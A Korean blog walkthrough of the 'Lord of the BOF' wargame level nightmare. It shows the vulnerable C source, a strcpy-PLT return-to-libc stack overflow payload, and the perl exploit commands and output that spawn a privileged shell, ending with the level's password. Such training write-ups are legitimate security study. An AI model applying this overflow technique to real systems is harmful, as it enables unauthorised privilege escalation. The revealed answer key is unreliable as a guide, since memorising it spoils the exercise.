wargame/LOB Redhat

succubus to nightmare

Sanguine 2014. 5. 27. 14:02

소스, 소스를 보자

[succubus@localhost succubus]$ cat nightmare.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>

 

main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;

 

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

 

        // check address

        addr = (char *)&strcpy;    //strcpy 주소를 받아옴

        if(memcmp(argv[1]+44, &addr, 4) != 0){                 //ret strcpy 주소가 아닐시, 종료

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }

 

        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

 

        // dangerous waterfall

        memset(buffer+40+8, 'A', 4);               //ret다음의 4byte A 덮는다.

}

 

 

문제의 힌트를 보면 PLT라고 되어있는데 PLT 검색 해본 결과 다음과 같이 좋은 자료를 발견햇다.

PLT GOT 참조.

 

이것을 참고하면 strcpy 주소는 해당 PLT 주소를 불러온다. (0x8048410)

 

그럼 ret에는 strcpy 주소를 주고, argv[2] RTL코드를 다음, src argv[2] 주소를 주고, dest strcpy ret 주소를 주면,

strcpy 실행되고 , argv[2] RTL코드가 strcpy ret 복사되어 RTL공격이 가능해질 것이다.

그림으로 보면 다음과 같다.


 payload 작성

["x"*44][&strcpy][hhhh][&strcpy's ret][&argv[2]] [&system][&exit][&"/bin/sh"]

 

 

여기서 확실하지 않은 주소 strcpy's ret argv[2] 구하기 위해서,

코드에 주소출력 코드를 추가한후 컴파일해 사본을 만들었다.

 

여기서 주의해야할 점은, 이름의 길이 때문에 주소가 변할 있으므로, 이름 길이를 똑같이해서 사본을 생성해야 한다는 것이다.

 

[succubus@localhost succubus]$ cat nightmare_2.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>

 

main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;

        printf("buffer - %x \n",buffer);

        printf("argv[2]- %x \n",argv[2]);

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

 

        // check address

        addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }

 

        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

 

        // dangerous waterfall

        memset(buffer+40+8, 'A', 4);

}

[succubus@localhost succubus]$ gcc -o nightmar2 nightmare_2

[succubus@localhost succubus]$  ./nightmar2 `perl -e 'print "x"x44,"\x10\x84\x04

\x08","hhhh","aaaa","aaaa"'` `perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x4

0","\xf9\xbf\x0f\x40"'`

buffer - bffffc60               //strcpy's ret = buffer + 48 = bffffc90

argv[2]- bffffe0f  

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?hhhhaaaaaaaa

Segmentation fault (core dumped)

[succubus@localhost succubus]$  ./nightmare `perl -e 'print "x"x44,"\x10\x84\x04

\x08","hhhh","\x90\xfc\xff\xbf","\x0f\xfe\xff\xbf"'` `perl -e 'print "\xe0\x8a\x

05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"'`

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?hhhh멄웨

풺ash$ id

uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)

bash$ my-pass

euid = 518

beg for me